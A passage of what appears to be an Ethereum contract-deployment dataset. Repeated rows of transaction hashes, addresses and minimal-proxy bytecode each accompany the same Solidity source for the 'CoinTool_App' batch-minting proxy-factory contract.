}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
ab06b6d406b2d0017f84511625e385bb5f667671
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
946a9bb87edad6fa0886d976451befbbc7bfb0bb
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
eafda877a6e7bb2407d5f38f695ec1c33b4fb13e
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
5b7ce179df08aef0ed2aa469d99a18514ed7bc73
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
0b46c0050a605a24ebe84a13a69ce0af6f809e40
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
abd572751a938fa4be1313435e95fd7a5064016c
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
dfc1457abb9e1ed205241ba7657d028c7a900f13
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
